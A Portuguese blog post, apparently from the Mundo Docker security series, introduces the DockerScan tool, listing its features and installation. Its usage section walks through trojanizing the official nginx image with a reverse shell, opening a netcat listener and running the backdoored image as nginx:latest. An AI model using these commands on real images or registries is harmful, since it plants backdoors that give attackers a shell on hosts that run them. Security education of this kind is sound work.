Olá, gente! Tudo bem?
Continuando a série de textos sobre Segurança e Docker, hoje vou falar sobre uma das ferramentas que citei no texto Segurança e hacking de containers Docker, vamos ver mais detalhes sobre a ferramenta DockerScan.
Ela é uma ferramentas de análise e hacking de containers Docker, com a qual é possível fazer uma varredura buscando por vulnerabilidades de segurança e também fazer o inverso, injetar vulnerabilidades em imagens Docker. Abaixo vamos ver suas principais funcionalidades e alguns exemplos de uso.
Principais funcionalidades
Faz scan de uma rede tentando localizar os Docker Registries
Registry:
- Delete: Exclui image / tag remota
- Info: Mostra informações de registros remotos
- Push: Envia uma imagem
- Upload: Upload de arquivo
Image:
- Analyze:
- Busca por informações confidenciais em uma imagem
- Busca por senhas em variáveis de ambiente
- Busca por qualquer URL / IP em variáveis de ambiente
- Tenta identificar o usuário usado para executar o software
- Extract: extrair uma imagem
- Info: Obtém meta-informação da imagem
- Modify:
- entrypoint: altere o ponto de entrada em um Docker
- trojanize: injeta um reverse shell em uma imagem Docker
- user: altere o usuário em execução em uma imagem Docker
Instalando o DockerScan
Vamos ver agora como é simples instalar a ferramenta DockerScan.
Primeiro, instale o gerenciador de pacotes da linguagem Python o pip:
$ python3.5 -m pip install -U pip
Agora, instalamos o DockerScan:
$ python3.5 -m pip install dockerscan
Verifique se a instalação foi feita corretamente e exiba as opções de funcionamento:
$ dockerscan -h
Exemplos de utilização
Agora vamos para a parte legal: por a mão na massa! Vamos ver alguns exemplos de como o DockerScan pode ser utilizado:
Com o comando abaixo, pode ser escaneada uma imagem para identificar possíveis vulnerabilidades:
$ dockerscan image info nome-da-imagem
Seguindo os passos abaixo, podemos injetar vulnerabilidade em uma imagem Docker. Vamos adicionar um reverse shell neste exemplo:
//Baixe a imagem oficial do nginx $ docker pull nginx //Salve uma cópia da imagem $ docker save nginx -o nginx-original //Liste o conteúdo do diretório para ver se foi criada a cópia $ ls -lh nginx-original //Execute o seguinte comando para ver as informações da imagem $ dockerscan image info nginx-original //Execute um ifconfig para saber seu ip $ ifconfig //Execute para injetar um reverser shell $ dockerscan image modify trojanize nginx-original -l 172.18.0.1 -p 2222 -o nginx-trojanized //Com este comando será criada uma nova imagem com um reverse shell //Execute em outro terminal para ficar "ouvindo" a porta 2222 $ nc -v -k -l 2222 //Faça o load da imagem com vulnerabilidade $ docker load -i nginx-trojanized.tar //Execute $ docker run nginx:latest
Um reverse shell é um tipo de shell no qual a máquina alvo se comunica de volta à máquina atacante. A máquina atacante tem uma porta ouvinte na qual ele recebe a conexão que ao usar o código, a execução do comando é alcançada.
Isso é tudo por enquanto, no repositório do projeto DockerScan pode ser encontrada mais informações sobre esta ferramenta. Se você conhece outras dicas, ferramentas, ficou com alguma dúvida ou tem algo a contribuir, deixe um comentário abaixo.
Obrigado pela leitura.
***
Texto originalmente publicado no Mundo Docker.